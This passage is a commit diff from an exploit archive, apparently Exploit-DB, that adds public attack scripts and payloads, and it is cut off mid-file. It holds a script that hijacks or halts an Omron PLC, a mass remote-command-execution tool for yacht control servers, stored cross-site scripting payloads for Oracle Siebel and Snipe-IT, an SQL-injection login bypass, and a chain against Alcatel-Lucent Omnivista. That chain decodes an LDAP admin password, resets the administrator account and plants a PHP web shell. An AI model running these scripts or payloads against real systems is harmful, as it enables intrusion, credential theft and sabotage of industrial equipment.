DB: 2019-12-10
11 changes to exploits/shellcodes Omron PLC 1.0.0 - Denial of Service (PoC) Mozilla FireFox (Windows 10 x64) - Full Chain Client Side Attack Microsoft Windows - Multiple UAC Protection Bypasses Microsoft Windows - 'WSReset' UAC Protection Bypass (Registry) Microsoft Windows 10 - 'WSReset' UAC Protection Bypass (propsys.dll) SpotAuditor 5.3.2 - 'Base64' Local Buffer Overflow (SEH) Snipe-IT Open Source Asset Management 4.7.5 - Persistent Cross-Site Scripting PRO-7070 Hazır Profesyonel Web Sitesi 1.0 - Authentication Bypass Yachtcontrol Webapplication 1.0 - Unauthenticated Remote Code Execution Alcatel-Lucent Omnivista 8770 - Remote Code Execution Oracle Siebel Sales 8.1 - Persistent Cross-Site Scripting
This commit is contained in:
Offensive Security
parent
30a6a01b6c
commit
44b163c8d1
12 changed files with 1463 additions and 0 deletions
197
exploits/hardware/dos/47757.py
Executable file
197
exploits/hardware/dos/47757.py
Executable file
|
|
@ -0,0 +1,197 @@
|
|||
# Exploit Title: Omron PLC 1.0.0 - Denial of Service (PoC)
|
||||
# Google Dork: n/a
|
||||
# Date: 2019-12-06
|
||||
# Exploit Author: n0b0dy
|
||||
# Vendor Homepage: https://automation.omron.com, ia.omron.com
|
||||
# Software Link: n/a
|
||||
# Version: 1.0.0
|
||||
# Tested on: PLC f/w rev.: CJ2M (v2.01)
|
||||
# CWE-412 : Unrestricted Externally Accessible Lock
|
||||
# CVE : n/a
|
||||
|
||||
#!usr/bin/python
|
||||
|
||||
######################################################################################################
|
||||
# #
|
||||
# `-:+oyhdmmNNNNNNNNmdhyso/:. #
|
||||
# -/shmNmhyo+/:-..`````..--:/oshdNNdyo:. #
|
||||
# `:ohNmho/-` .:+ydNmy+. #
|
||||
# .+hNms/. `:ohNms:` #
|
||||
# .+dNh+. `/ymNy: #
|
||||
# :yNd+. `/yNmo. #
|
||||
# `/dNy-` .+mNy- #
|
||||
# +mmo. `/dNy- #
|
||||
# :dNo` ``........--.......``` `/dNs. #
|
||||
# .yNy. .- ``....```....``..``....```...`` `-` `+Nm/ #
|
||||
# /mm: ./ymy. `...`` `..` `` .` `` `..` `...` +mho:` .yMh. #
|
||||
# `sNy. `.`/hNMNo` `..` `.` .` .` `` `.. `...` -dMNmo... `+Nm: #
|
||||
# `yNo` -yy-sMMMh- ......```.` .` .` `` .-...`` `..` `+NMMm:+h+` :mN/ #
|
||||
# `hN/ +Nm.sMMh/: `.. `.....```..` `//+yy+.``.``...`..` `.. ./oNMm-oMh. -dN+ #
|
||||
# `hN+ `/MMo:Nh:/h- `..` .. `..```oMy.:NMd```. .. `.` ys:omh.NMh` .mM/ #
|
||||
# yM+ `o-hMN.:+sdm/ `-. .. .` ./-./NNo .` .. `.` .hmy+/`sMM-o- -mN: #
|
||||
# +My .dd`mMy/hNmo. `-````` `. `- :ho. `. .. ````.. `/hNmo/NM//N/ :Mm` #
|
||||
# .mm. sMd`mMmNd+/` `-` ``..-.``` .. +. .` ``.-...`` .. :/yNNNM/:MN` sMs #
|
||||
# yM+ `mMm`mMm+-ss `-` ..```.....-....```-o+.```...-.....```.-` .` -h/:yMM/+MM/ .mN- #
|
||||
# .Nm` `NMN`yo/yNd. .. -` `-```````yNm-```````. `-` `. oNd++h:sMM+ oMy #
|
||||
# +Mo `.NMM.:hNMd. `-` `. .- `:- `- .. .` `oNMmo`yMM+. .NN` #
|
||||
# hN- y:hMMoNMmo. .. .` .. .` - `- `. /hMMydMM-h. dM/ #
|
||||
# .mm`-No-NMMMy-o: .. .` .. .://-` ` -` `-` - y-+mMMMy.Ns sMs #
|
||||
# :Nd :Mm.oMMo.sN. ..`````````-`````````..`./s` :smds: :s:``-`````````-.`````````-` ym--NMm.sMh +Mh #
|
||||
# +Mh -NMy`hd-hMd` ..`````````-```````.-/+smMy -my` `dNho/.````````-``````````- /Mm/+N:-NMs /Mh #
|
||||
# /Nh hMM/-/hMM/ .. .` `+yhdmmNMMMM. .so` yMMMNmhyso+/.`-` `- `mMN/+.dMM- /Mh #
|
||||
# -Nd` -NMm-+MMh. `. .` oMMMMMMMMMMN` `hy yMMMMMMMMMMMd.- `. `/MMd`yMMy oMy #
|
||||
# `mN.`.oNMhyMN-o/ -` `.`mMMMMMMMMMMM- -NN. `dMMMMMMMMMMMM/. .` `y`hMNoMMh.- yMo #
|
||||
# yM:.h./mMMMs dm` `. .+MMMMMMMMMMMMo /MM/ :NMMMMMMMMMMMMs` `. oN--NMMNy.+o`mM- #
|
||||
# /My`dd/-yNM:.NM+ .. ``.hMMMMMMMMMMMMN- oMMo `hMMMMMMMMMMMMMh.` `.` `mMo`dMm/-yN/:Mm` #
|
||||
# `mN./MMh-/d/+MMs .` ``````.NMMMMMMMMMMMMMm- sMMs oMMMMMMMMMMMMMMm.````` `.` -NMd`ds-omMh`hMo #
|
||||
# +Ms oNMNo--sMMh`- ..` oMMMMMMMMMMMMMMMm:yMMhoMMMMMMMMMMMMMMMN- `..` `-:MMN.:/dMMd.:Nm. #
|
||||
# `hN: /NMMm/+MMm`h+ .. mMMMMMMMMMMMMMMMMNNMMMMMMMMMMMMMMMMMMMMo `.` -h-oMMd-yMMMy.`dM/ #
|
||||
# -Nm. +yNMMdNMN-/Ms` `.` -MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMh .. :mh`hMMdNMNdo- sMy #
|
||||
# /Nh`:y+odNMMMo`mMy ..`/MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMm``.` :NM/.NMMMmy+os`oMd. #
|
||||
# +Mh`+Nh//odNm`oMM+ `.sMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN.` .mMN`oNmy+/smh`+Mm. #
|
||||
# +Nh./mMNho++-.mMN/-/` hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM- `-:.dMMo`+++ymMNs.oNd- #
|
||||
# /Nd-.omMMMmy+/dMN//ds-hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM//hy-dMNs:sdMMMNh:`sMh. #
|
||||
# -dN+``/ymNMMNdmMMo/mNdNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMs:mMNdmMMNmh+. -dMs` #
|
||||
# `yNy. /o+/oyhmmNNy:hNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMm//mNNmdys+/+o.`oNm/ #
|
||||
# :mNo`:dmdyo////+:./yNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMdo--+//:/+shmmo.:dNy. #
|
||||
# `+mm+.:smNMMMMMMMMNNNNmmMMMMMMMMMMMMMMMMMMMMMMMMMMNhmNNNNMMMMMMMMMNh+.:hNh- #
|
||||
# `oNmo.`.+ooooo+//:--:yMMMMMMMMMMMMMMMMMMMMMMMMMMmo/--::/++ooooo:``/hNd: #
|
||||
# `+mNs:.+yso++oshmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdys+++oys:.odNh: #
|
||||
# :yNdo-/sdNNMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMdmNNMMNNmy+:/hNmo. #
|
||||
# `+hNds:``...`/MMMMMMMMMMMMMMMMMMMMMMMMMMMM: `....`-ohNms: #
|
||||
# `/ymNds/.`sMMMMMMMMMMMMMMMMMMMMMMMMMMMM+ `:ohNNdo- #
|
||||
# ./sdNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMdhmNNho:` #
|
||||
# `-/oydNMMMMMMMMMMMMMMMMMMMMMMmhy+:. #
|
||||
# `.://+osyyyyyyso+/:-. #
|
||||
# #
|
||||
# #
|
||||
# Exploit Title: Omron PLC: Denial-of-Service as a Feature #
|
||||
# Google Dork: n/a #
|
||||
# Date: 2019.12.06 #
|
||||
# Exploit Author: n0b0dy #
|
||||
# Vendor Homepage: https://automation.omron.com, ia.omron.com #
|
||||
# Software Link: n/a #
|
||||
# Version: 1.0.0 #
|
||||
# Tested on: PLC f/w rev.: CJ2M (v2.01) #
|
||||
# CWE-412 : Unrestricted Externally Accessible Lock #
|
||||
# CVE : n/a #
|
||||
# #
|
||||
#######################################################################################################
|
||||
import sys, signal, socket, time, binascii
|
||||
|
||||
nic = socket.gethostbyname(socket.gethostname()) #will fail if hostname = 'hostname'
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print "Usage: fins.dos.py [arg.] {target ip} {target port[9600]}"
|
||||
print "--pwn Hijack control of PLC program."
|
||||
print "--stop Stop PLC CPU."
|
||||
|
||||
else:
|
||||
ip = sys.argv[2]
|
||||
|
||||
try:
|
||||
port = sys.argv[3]
|
||||
except:
|
||||
port = 9600
|
||||
|
||||
def ip_validate(ip):
|
||||
a = ip.split('.')
|
||||
if len(a) != 4:
|
||||
return False
|
||||
for x in a:
|
||||
if not x.isdigit():
|
||||
return False
|
||||
i = int(x)
|
||||
if i < 0 or i > 255:
|
||||
return False
|
||||
return True
|
||||
|
||||
#fins header
|
||||
icf = '\x80' #info control field (flags); 80=resp req, 81=resp not req
|
||||
rsv = '\x00' #reserved
|
||||
gct = '\x02' #gateway count
|
||||
dna = '\x00' #dest net addr
|
||||
idnn = ip[-1:] #dest node no (last digit of target ip)
|
||||
dnn_i = '0' + idnn
|
||||
dnn = binascii.a2b_hex(dnn_i)
|
||||
dua = '\x00' #dest unit addr
|
||||
sna = '\x00' #source net addr
|
||||
isnn = nic[-1:] #source node no (last digit of own ip)
|
||||
snn_i = '0' + isnn
|
||||
snn = binascii.a2b_hex(snn_i)
|
||||
sua = '\x00' #source unit addr
|
||||
sid = '\x7a' #service ID
|
||||
fins_hdr = icf + rsv + gct + dna + dnn + dua + sna + snn + sua + sid
|
||||
|
||||
#FINS command acceptance code
|
||||
fins_ok = '\x00'
|
||||
#Verify PLC type
|
||||
CmdMRst1 = binascii.a2b_hex("05")
|
||||
CmdSRst1 = binascii.a2b_hex("01")
|
||||
Cmdst1 =\
|
||||
fins_hdr + CmdMRst1 + CmdSRst1 + '\x00'
|
||||
print "Probing PLC... " + '\t'
|
||||
s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s1.sendto(Cmdst1, (ip, port))
|
||||
print "Finished." + '\r\n'
|
||||
s1fins_resp = s1.recvfrom(1024)
|
||||
s1fins_resp_b = bytes(s1fins_resp[0])
|
||||
if s1fins_resp_b[12] == fins_ok and s1fins_resp_b[13] == fins_ok:
|
||||
print "FINS target is exploitable: "
|
||||
print s1fins_resp_b[14:39]
|
||||
else:
|
||||
print "FINS target not exploitable."
|
||||
print "FINS response from target: ", s1fins_resp
|
||||
|
||||
if sys.argv[1] == "--pwn":
|
||||
|
||||
#access right forced acquire
|
||||
PgmNo = '\xff'
|
||||
CmdMRst2 = binascii.a2b_hex("0c")
|
||||
CmdSRst2 = binascii.a2b_hex("02")
|
||||
Cmdst2 =\
|
||||
fins_hdr + CmdMRst2 + CmdSRst2 + PgmNo + PgmNo
|
||||
reqdly = 1
|
||||
persist = 1
|
||||
pwnage = 0
|
||||
print "Obtaining control of PLC program..." + '\r\n'
|
||||
while persist == 1:
|
||||
try:
|
||||
s2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
time.sleep(reqdly)
|
||||
s2.sendto(Cmdst2, (ip, port))
|
||||
s2fins_resp = s2.recvfrom(1024)
|
||||
s2fins_resp_b = bytes(s2fins_resp[0])
|
||||
if s2fins_resp_b[12] == fins_ok and s2fins_resp_b[13] == fins_ok:
|
||||
pwnage += 1
|
||||
pwntime = str(pwnage)
|
||||
sys.stdout.write('\r' + "Pwnage in progress! " + "duration: " + pwntime + " sec.")
|
||||
sys.stdout.flush()
|
||||
else:
|
||||
print "Attack unsuccessful. ", '\r\n'
|
||||
print "FINS error code: ", s2fins_resp
|
||||
except socket.error as e:
|
||||
print socket.error
|
||||
s2.close()
|
||||
except KeyboardInterrupt:
|
||||
persist = 0
|
||||
print '\r', " Attack interrupted by user."
|
||||
s2.close()
|
||||
|
||||
elif sys.argv[1] == "--stop":
|
||||
#change OP Mode
|
||||
CmdMRst3 = binascii.a2b_hex("04")
|
||||
CmdSRst3 = binascii.a2b_hex("02")
|
||||
Cmdst3 =\
|
||||
fins_hdr + CmdMRst3 + CmdSRst3
|
||||
print "Stopping PLC (just for fun)... " + '\t'
|
||||
s3 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s3.sendto(Cmdst3, (ip, port))
|
||||
print "Finished. "
|
||||
s3fins_resp = s3.recvfrom(1024)
|
||||
s3fins_resp_b = bytes(s3fins_resp[0])
|
||||
if s3fins_resp_b[12] == fins_ok and s3fins_resp_b[13] == fins_ok:
|
||||
print "PLC CPU STOP mode confirmed. "
|
||||
else:
|
||||
print "Attack unsuccessful. ", '\r\n'
|
||||
print "FINS response from target: ", s3fins_resp
|
||||
94
exploits/hardware/webapps/47760.py
Executable file
94
exploits/hardware/webapps/47760.py
Executable file
|
|
@ -0,0 +1,94 @@
|
|||
# Exploit Title: Yachtcontrol Webapplication 1.0 - Unauthenticated Remote Code Execution
|
||||
# Google Dork: N/A
|
||||
# Date: 2019-12-06
|
||||
# Exploit Author: Hodorsec
|
||||
# Vendor Homepage: http://www.yachtcontrol.nl/en/
|
||||
# Version: 1.0
|
||||
# Software Link: http://download.yachtcontrol.nl/klant/Software/ & http://download.yachtcontrol.nl/klant/Firmware/
|
||||
# Versions: Yachtcontrol webapplication through versions dated on 2019-10-06. No versioning system detected.
|
||||
# Tested on: Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.
|
||||
# CVE: N/A
|
||||
#
|
||||
# Description Product:
|
||||
# Yachtcontrol software is being used for controlling several aspects on yachts, as the name implies. Having access to the webapplication,
|
||||
# it's possible to control several items such as lights, powergenerator, solarcontrol, airco, wipers, heating and other components.
|
||||
# Websoftware is built in PHP and mostly runs on a Linux based firmware device, controlling several other components related to the Yacht.
|
||||
# Other related software running on the same firmware device are custom compiled ELF binaries for controlling related onboard devices.
|
||||
#
|
||||
# Description Vulnerability:
|
||||
# It's possible to perform direct Operating System commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}"
|
||||
# page and parameter, where {COMMAND} will be executed and returning the results to the client.
|
||||
#
|
||||
# Affected Components:
|
||||
# Yachtcontrol webservers using the custom PHP webapplication, versions until 2019-10-06.
|
||||
|
||||
#!/usr/bin/python
|
||||
import sys,os,requests
|
||||
|
||||
# Check arguments
|
||||
if len(sys.argv) != 5:
|
||||
print "Error: enter at least one IP/FQDN as argument. Exiting..."
|
||||
print "\nUsage: " + sys.argv[0] + " {IP/FQDN} {PORT} {PROTO} {COMMAND}\n"
|
||||
exit(0)
|
||||
|
||||
# Parameters
|
||||
host = sys.argv[1]
|
||||
port = sys.argv[2]
|
||||
proto = sys.argv[3]
|
||||
command = sys.argv[4]
|
||||
timeout = 10
|
||||
isFile = False
|
||||
|
||||
# Check for file or single IP/FQDN
|
||||
if os.path.isfile(host):
|
||||
isFile = True
|
||||
with open(host) as f:
|
||||
targets = f.readlines()
|
||||
|
||||
# Vulnerable page
|
||||
page = "/pages/systemcall.php?command="
|
||||
|
||||
# HTTP or HTTPS
|
||||
if proto == "http":
|
||||
proto = "http://"
|
||||
elif proto == "https":
|
||||
proto = "https://"
|
||||
else:
|
||||
print "\nInvalid method given: enter http or https\n"
|
||||
exit(0)
|
||||
|
||||
# Do the request
|
||||
if isFile:
|
||||
for host in targets:
|
||||
target = host.strip()
|
||||
print target
|
||||
try:
|
||||
response = requests.get(proto + target + ":" + port + page + command, verify=False, timeout=timeout)
|
||||
print(response.content.replace('executing command: ' + command,''))
|
||||
except requests.exceptions.Timeout:
|
||||
print "Timed out."
|
||||
pass
|
||||
except requests.exceptions.RequestException as e:
|
||||
print "Host not found."
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
response = requests.get(proto + host + ":" + port + page + command, verify=False, timeout=timeout)
|
||||
print(response.content.replace('executing command: ' + command,''))
|
||||
except requests.exceptions.Timeout:
|
||||
print "Timed out."
|
||||
pass
|
||||
except requests.exceptions.RequestException as e:
|
||||
print "Host not found."
|
||||
pass
|
||||
|
||||
# Disclosure Timeline using CERT/CC disclosure policy:
|
||||
# - 06-10-19: Requested CVE
|
||||
# - 06-10-19: Contacted vendor for initial contact, used several publicly known mailaddresses
|
||||
# - 12-10-19: Sent reminder due to no response
|
||||
# - 06-11-19: Sent second reminder due to no response
|
||||
# - 08-11-19: Received response requesting information, sent information
|
||||
# - 11-11-19: Correspondence concerning vulnerability
|
||||
# - 25-11-19: Sent reminder of publishing PoC to vendor, received response
|
||||
# - 05-12-19: Sent final reminder of publishing PoC to vendor
|
||||
# - 06-12-19: Public Disclosure
|
||||
22
exploits/java/webapps/47762.txt
Normal file
22
exploits/java/webapps/47762.txt
Normal file
|
|
@ -0,0 +1,22 @@
|
|||
# Exploit Title : Oracle Siebel Sales 8.1 - Persistent Cross-Site Scripting
|
||||
# Exploit Author : omurugur
|
||||
# Software link: https://www.oracle.com/tr/applications/siebel/
|
||||
# Effective version : Oracle Siebel Sales 8.1
|
||||
# CVE: N/A
|
||||
|
||||
# Examples Request;
|
||||
|
||||
POST /salesADMIN_trk/start.swe HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Accept-Encoding: gzip, deflate
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64;
|
||||
Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729;
|
||||
.NET CLR 3.5.30729)
|
||||
Host: X.X.X.X
|
||||
Content-Length: 550
|
||||
Pragma: no-cache
|
||||
Cookie: SWEUAID=23; _sn=**-yVfB7JyKox4txS.fQJdh6us-fIdUQaQW0.oxIhK
|
||||
Connection: close
|
||||
|
||||
s_1_1_26_0=&SWEVI=&SWERowId=1-5VWLXT4&SWEC=39&s_1_1_28_0=&SWEMethod=PostChanges&s_1_1_18_0=12/9/2019&SWEPOC=Account&SWEReqRowId=1&SWERPC=1&s_1_1_90_0=N&s_1_1_71_0=&s_1_1_72_0=&s_1_1_83_0=<IFRAME
|
||||
SRC="javascript:alert('XSS');"></IFRAME>&SWEApplet=Revenue%20Analysis%20Form%20Applet&SWEActiveApplet=Revenue%20Analysis%20Form%20Applet&s_1_1_51_0=%240.00&SWEView=Revenue%20Analysis%20View&SWECmd=InvokeMethod&s_1_1_65_0=&s_1_1_21_0=%240.00&s_1_1_55_0=SADMIN&SWETS=1575878518105&SWEActiveView=Revenue%20Analysis%20View&s_1_1_89_0=&s_1_1_78_0=%240.00&SWEP=&s_1_1_36_0=N&s_1_1_14_0=0.000000&SWERowIds=
|
||||
52
exploits/php/webapps/47756.txt
Normal file
52
exploits/php/webapps/47756.txt
Normal file
|
|
@ -0,0 +1,52 @@
|
|||
# Exploit Title: Snipe-IT Open Source Asset Management 4.7.5 - Persistent Cross-Site Scripting
|
||||
# Exploit Author: Metin Yunus Kandemir (kandemir)
|
||||
# Vendor Homepage: https://snipeitapp.com/
|
||||
# Software Link: https://github.com/snipe/snipe-it/releases/tag/v4.7.5
|
||||
# Version: 4.7.5
|
||||
# Category: Webapps
|
||||
# Tested on: Xampp for Windows
|
||||
|
||||
# Description:
|
||||
# Snipe-IT v4.7.5 has persistent cross-site scripting vulnerability via uploading svg file in accessories section.
|
||||
# A malicious authorized user could potentially upload an SVG with a javascript payload.
|
||||
|
||||
#Steps to Reproduce:
|
||||
|
||||
Upload crafted SVG file when sent request to create accessory.
|
||||
Click created accessory and copy uploaded file location.
|
||||
Browse uploaded SVG file location on browser.
|
||||
The alert box will be opened.
|
||||
|
||||
#(PoC) Post Request:
|
||||
|
||||
POST /accessories HTTP/1.1
|
||||
Host: target
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://target/accessories/create
|
||||
Content-Type: multipart/form-data; boundary=---------------------------6547029722068941066578895105
|
||||
Content-Length: 1761
|
||||
Cookie: XSRF-TOKEN=eyJpdiI6Ikh1TURMRnpyVDJsaVh4WUI5MWtQWnc9PSIsInZhbHVlIjoiUUNOcVErbFpcL0hGbmVveU9wYzZlOWRrVXNBbWxqeDBQZ3drbW4yZ2RXWU1POGlQQnVOeG5EcThxaUUraGdSYmlCMmNIc2VMMERxYnJOWDRBRUhmdEx3PT0iLCJtYWMiOiI2ZTg5YTA2MmUxZWRmM2RjYTNmNzI4YTE0YTQyOTQ4MGEzMDYyYWJiMDk5NGYwOWE4M2Y4ZTc4MWMxYzJhOGY1In0%3D; snipeitv4_session=KvsAzbhBKlUwbijPmLc86vCgO0PhG67J6EIIR0MD; laravel_token=eyJpdiI6InRTXC83Qmx0aDdVTE9EbVJzSnJ4V01nPT0iLCJ2YWx1ZSI6InVITklNQ3h3WldXMFIzY01Ob0Zqb1wvdm1NQTZXN3JuXC9Nc0g5Z0lpWXZCaTdiVHFOUVB4ZkpmQWRrVk1ZWVZFN1dZVnRrM3pRdjRCcWxySDRtd3hEWlIxd0h5QThUMDAyaVJcL0YzTmhFMlVlNzVFSG95S2VVYVBiRzNzNUtIOTkwdlBWUmQ1K3dTZHNNeXZJWVNmaWczb2hyOGFWRmI1a1NiNk84a1wvOW1tWXpleTMzSnRwYlowenBHSzN4dHRzd2lUTXd1b1dLNkluMEt2bWE0M1J4UTBaNGMzTGFQWEVOWnNyQk1aQk1nQ0tBejVjUU9XRnc5Q0l0citqSnJlbzgwTEVWQlN5ekdZa2hYckQ5T1ZKc2E2UT09IiwibWFjIjoiZDZhNWE2NjFmOTMwOWI0N2E2NjE3YTQwNWFlYjg0MmMyYTkwYzE1YTc4ZWI3N2U1ZWFjNGIyMzM4ZWU2NjczMyJ9
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
.
|
||||
..
|
||||
snip
|
||||
..
|
||||
.
|
||||
|
||||
Content-Disposition: form-data; name="image"; filename="test.svg"
|
||||
Content-Type: image/svg+xml
|
||||
|
||||
<?xml version="1.0" standalone="no"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||||
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
|
||||
<script type="text/javascript">
|
||||
alert(1);
|
||||
</script>
|
||||
</svg>
|
||||
|
||||
-----------------------------6547029722068941066578895105--
|
||||
13
exploits/php/webapps/47758.txt
Normal file
13
exploits/php/webapps/47758.txt
Normal file
|
|
@ -0,0 +1,13 @@
|
|||
# Exploit Title: PRO-7070 Hazır Profesyonel Web Sitesi 1.0 - Authentication Bypass
|
||||
# Date: 2019-12-08
|
||||
# Exploit Author: Ahmet Ümit BAYRAM
|
||||
# Vendor Homepage: https://www.websitem.biz/hazir-site/pro-7070-hazir-mobil-tablet-uyumlu-web-sitesi
|
||||
# Tested on: Kali Linux
|
||||
# Version: 1.0
|
||||
# CVE: N/A
|
||||
|
||||
----- PoC: Authentication Bypass -----
|
||||
|
||||
Administration Panel: http://localhost/[PATH]/yonetim/pass.asp
|
||||
Username: '=' 'or'
|
||||
Password: '=' 'or'
|
||||
176
exploits/php/webapps/47761.py
Executable file
176
exploits/php/webapps/47761.py
Executable file
|
|
@ -0,0 +1,176 @@
|
|||
# Exploit Title: Alcatel-Lucent Omnivista 8770 - Remote Code Execution
|
||||
# Google Dork: inurl:php-bin/webclient.php
|
||||
# Date: 2019-12-01
|
||||
# Author: 0x1911
|
||||
# Vendor Homepage: https://www.al-enterprise.com/
|
||||
# Software Link: https://www.al-enterprise.com/en/products/communications-management-security/omnivista-8770-network-management-system
|
||||
# Version: All versions, still unpatched
|
||||
# Tested on: Windows 2003/2008
|
||||
# CVE : 0day
|
||||
|
||||
# Exploit attached, also available here https://git.lsd.cat/g/omnivista-rce/src/master/omnivista.py
|
||||
# Full writeup at https://git.lsd.cat/g/omnivista-rce/src/master/README.md
|
||||
|
||||
|
||||
'''
|
||||
Original url: https://git.lsd.cat/g/omnivista-rce
|
||||
Website: https://lsd.cat
|
||||
'''
|
||||
import requests
|
||||
import socket
|
||||
import ldap
|
||||
import sys
|
||||
from urllib.parse import urlparse
|
||||
from urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
||||
|
||||
class OmniVista:
|
||||
def __init__(self, host):
|
||||
self.host = host
|
||||
self.addr = (urlparse(self.host).hostname)
|
||||
self.folders = ['php-bin/', 'soap-bin/', 'bin/', 'data/', 'Themes/', 'log/']
|
||||
self.filename = "poc.php"
|
||||
self.webshell = "<?php system($_REQUEST[0]) ?>"
|
||||
|
||||
def identify(self):
|
||||
r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
|
||||
if '8770' in r.text:
|
||||
return 8770
|
||||
elif '4760' in r.text:
|
||||
return 4760
|
||||
else:
|
||||
return False
|
||||
|
||||
def checkldap(self):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(10)
|
||||
result = s.connect_ex((self.addr, 389))
|
||||
if result == 0:
|
||||
return True
|
||||
|
||||
def info(self):
|
||||
r = requests.post(self.host + 'php-bin/info.php', data={"void": "phDPhd"}, verify=False)
|
||||
if 'PHP Version' in r.text:
|
||||
return r.text
|
||||
else:
|
||||
return False
|
||||
|
||||
def getpassword(self):
|
||||
r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
|
||||
id = r.headers['Set-Cookie'].split(";")[0].split("=")[1]
|
||||
r = requests.get(self.host + 'sessions/sess_' + id, verify=False)
|
||||
lenght = int(r.text.split("ldapSuPass")[1][3:5])
|
||||
password = r.text.split("ldapSuPass")[1][7:7+lenght]
|
||||
return password
|
||||
|
||||
def decodepassword(self, password):
|
||||
counter = 0
|
||||
key = 16
|
||||
cleartext = ""
|
||||
if password[0:5] == "{NMC}":
|
||||
password = password[5:]
|
||||
else:
|
||||
return False
|
||||
for char in password:
|
||||
if 32 <= ord(char):
|
||||
char = chr(ord(char) ^ key)
|
||||
cleartext += char
|
||||
else:
|
||||
cleartext += char
|
||||
if ord(char) != 0:
|
||||
key = counter * ord(char) % 255 >> 3
|
||||
else:
|
||||
key = 16
|
||||
counter += 1
|
||||
return cleartext
|
||||
|
||||
def connectldap(self):
|
||||
connect = ldap.initialize('ldap://' + self.addr)
|
||||
connect.set_option(ldap.OPT_REFERRALS, 0)
|
||||
connect.simple_bind_s(self.username, self.password)
|
||||
result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE, '(cn=AdminNmc)')
|
||||
print('[*] Current AdminNmc password: ' + str(result[0][1]['userpassword'][0]))
|
||||
self.bind = connect
|
||||
return True
|
||||
|
||||
def editadminpassword(self):
|
||||
self.adminusername = "AdminNmc"
|
||||
self.adminpassword = "Lsdcat_exploit1!"
|
||||
self.bind.modify_s("uid=AdminNmc,cn=Administrators,cn=8770 administration,o=nmc", [(ldap.MOD_REPLACE, 'userpassword', self.adminpassword.encode('utf-8') )])
|
||||
return True
|
||||
|
||||
def login(self):
|
||||
self.session = requests.session()
|
||||
r = self.session.post(self.host + 'php-bin/webclient.php', data = {"action": "loginCheck", "userLogin": self.adminusername, "userPass": self.adminpassword }, verify = False)
|
||||
if 'Directory license is required!' in r.text:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
def exploit8770(self):
|
||||
r = self.session.get(self.host + 'php-bin/webclient.php', params = {'action': 'editTheme', 'themeId': "2"}, verify=False)
|
||||
r = self.session.post(self.host + 'php-bin/webclient.php',
|
||||
data = {"action": "saveTheme", "themeId": "2"},
|
||||
files = { "BgImg1": (self.filename, self.webshell, "image/png")},
|
||||
verify = False)
|
||||
if 'success' in r.text:
|
||||
return True
|
||||
|
||||
def exec8770(self):
|
||||
return requests.post(self.host + 'Theme2/' + 'poc.php', data = {"0": cmd}, verify=False).text
|
||||
|
||||
def exploit4760(self):
|
||||
for folder in self.folders:
|
||||
r = requests.post(self.host + 'php-bin/webclient.php',
|
||||
data = {"action": "saveTheme", "themeId": "5/../../{}".format(folder), "themeDate": ""},
|
||||
files = { "BgImg1": (self.filename, self.webshell, "image/png")},
|
||||
verify=False)
|
||||
if 'success' in r.text:
|
||||
self.folder = folder
|
||||
return True
|
||||
|
||||
def exec4760(self, cmd):
|
||||
return requests.post(self.host + self.folder + 'poc.php', data = {"0": cmd}, verify=False).text
|
||||
|
||||
def autoexploit(self):
|
||||
print('[*] Attempting to exploit on {}'.format(self.host))
|
||||
self.model = self.identify()
|
||||
if self.model == 4760:
|
||||
print('[*] Model is {}'.format(str(self.model)))
|
||||
self.exploit4760()
|
||||
print('[*] Upload folder is {}'.format(self.folder))
|
||||
output = self.exec4760("whoami")
|
||||
print('[*] Webshell at {}{}{}'.format(self.host, self.folder, self.filename))
|
||||
print('[*] Command output: '.format(output))
|
||||
elif self.model == 8770:
|
||||
print('[*] Model is {}'.format(str(self.model)))
|
||||
self.username = "cn=Directory Manager"
|
||||
self.password = self.decodepassword(self.getpassword())
|
||||
print('[*] {} password is "{}"'.format(self.username, self.password))
|
||||
if self.checkldap():
|
||||
print('[*] LDAP Service is accessible!')
|
||||
self.connectldap()
|
||||
print('[*] Changing AdminNmc password')
|
||||
self.editadminpassword()
|
||||
print('[*] Logging in')
|
||||
if self.login():
|
||||
self.exploit8770()
|
